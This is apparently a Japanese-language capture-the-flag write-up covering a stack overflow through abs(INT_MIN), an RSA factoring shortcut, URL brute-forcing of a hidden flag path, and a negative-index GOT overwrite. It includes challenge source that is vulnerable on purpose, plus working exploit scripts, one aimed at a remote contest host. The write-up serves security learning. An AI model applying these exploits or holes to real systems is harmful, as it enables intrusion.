Pwn: Echo

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\\n') break;
    buf[i] = c;
  }
  buf[i] = '\\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

abs(size) にINT_MIN を与えると BoF が起こってひっくり返る あとは gdb で ret を特定してバッファを埋める

Canary も NX もなし

from pwn import *

win = ELF('./echo').symbols['win']
#p = process('./echo')
p = remote("34.170.146.252", 40771)

p.sendlineafter(b'Size: ', b"-2147483648")
p.sendlineafter(b'Data: ', b'A'*280 + p32(win))
print(p.recvall())

Crypto: qrime

import os
from Crypto.Util.number import bytes_to_long, getRandomNBitInteger, isPrime

def nextPrime(n):
    while not isPrime(n := n + 1):
        continue
    return n

def gen():
    while True:
        q = getRandomNBitInteger(256)
        r = getRandomNBitInteger(256)
        p = q * nextPrime(r) + nextPrime(q) * r
        if isPrime(p) and isPrime(q):
            return p, q, r

flag = os.environ.get("FLAG", "fakeflag").encode()
m = bytes_to_long(flag)

p, q, r = gen()
n = p * q

phi = (p - 1) * (q - 1)
e = 0x10001
d = pow(e, -1, phi)
c = pow(m, e, n)

print(f"{n=}")
print(f"{e=}")
print(f"{c=}")
print(f"{r=}")

$$ n=p*q\\ \begin{aligned} p &= q * \mathrm{next}(r) + \mathrm{next}(q)r\\ &= qr' + q'*r\\ n &= (qr' + q'r)q\\ &=(q(r+α) + r(q+β))q\\ &=2q^2r + q^2α + qrβ \end{aligned} $$

このとき,αとβは小さく,αに関しては分かっている. なので, $n \simeq 2q^2r$ と近似できて,$q \simeq \sqrt{n/2r}$ ということになる. なので,この近似について総当たりすればよい

n=200697881793620389197751143658858424075492240536004468937396825699483210280999214674828938407830171522000573896259413231953182108686782019862906633259090814783111593304404356927145683840948437835426703183742322171552269964159917779
e=65537
c=77163248552037496974551155836778067107086838375316358094323022740486805320709021643760063197513767812819672431278113945221579920669369599456818771428377647053211504958874209832487794913919451387978942636428157218259130156026601708
r=30736331670163278077316573297195977299089049174626053101058657011068283335270

from gmpy2 import iroot
from Crypto.Util.number import isPrime

tmp_q, _ = iroot(n//(2*r), 2)

for i in range(-1000, 1000):
	q = tmp_q + i
	if n % q == 0 and isPrime(q):
		p = n // q
		print(f"p: {p}")
		print(f"q: {q} ")
		print(f"diff: {i}")
		phi = (p - 1) * (q - 1)
		d = pow(e, -1, phi)
		m = pow(c, d, n)
		print(bytes.fromhex(hex(m)[2:]))

Web: Treasure Hunt

FROM node:22.11.0

WORKDIR /app

COPY public public

# Create flag.txt
RUN echo 'Alpaca{REDACTED}' > ./flag.txt

# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \\
    && mkdir -p $(dirname $FLAG_PATH) \\
    && mv flag.txt $FLAG_PATH

COPY package.json package-lock.json ./
RUN npm install

COPY index.js .

USER 404:404
CMD node index.js

import express from "express";

const html = `
<h1>Treasure Hunt 👑</h1>
<p>Can you find a treasure?</p>
<ul>
  <li><a href=/book>/book</a></li>
  <li><a href=/drum>/drum</a></li>
  <li><a href=/duck>/duck</a></li>
  <li><a href=/key>/key</a></li>
  <li><a href=/pen>/pen</a></li>
  <li><a href=/tokyo/tower>/tokyo/tower</a></li>
  <li><a href=/wind/chime>/wind/chime</a></li>
  <li><a href=/alpaca>/alpaca</a></li>
</ul>
`.trim();

const app = express();

app.use((req, res, next) => {
  res.type("text");
  if (/[flag]/.test(req.url)) {
    res.status(400).send(`Bad URL: ${req.url}`);
    return;
  }
  next();
});

app.use(express.static("public"));

app.get("/", (req, res) => res.type("html").send(html));

app.listen(3000);

FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \\ とあるので,./public/m/d/5/s/u/m/f/l/a/g/./t/x/t みたいな感じになる.md5 の内容は分からない.

ここで,URL 文字列に「flag」が含まれていると「BadURL」に飛ばされる.一方で,存在しない URL を選択すると「Cannot GET」となる.この差異を利用する

#!/bin/bash

target_chars=({0..9} {b..e} %61 %66)
base_url="snip"

for i in `seq 0 31`;do
for char in "${target_chars[@]}";
do
    url="$base_url/$char"
    echo $url
    status_code=$(curl -o /dev/null -s -w "%{http_code}" "$url")
    print $status_code
    if [ "$status_code" -eq 301 ]; then
        #echo "Found valid URL: $url"
        base_url=$url
        break
    fi
done
done

Web: Country DB

Pwn: inbound

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int slot[10];

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int main() {
  int index, value;
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("index: ");
  scanf("%d", &index);
  if (index >= 10) {
    puts("[-] out-of-bounds");
    exit(1);
  }

  printf("value: ");
  scanf("%d", &value);

  slot[index] = value;

  for (int i = 0; i < 10; i++)
    printf("slot[%d] = %d\\n", i, slot[i]);

  exit(0);
}

負の数をチェックしてない.あとは GOT overwrite. printf か exit だが,printf はアドレス解決済で 6byte であることに注意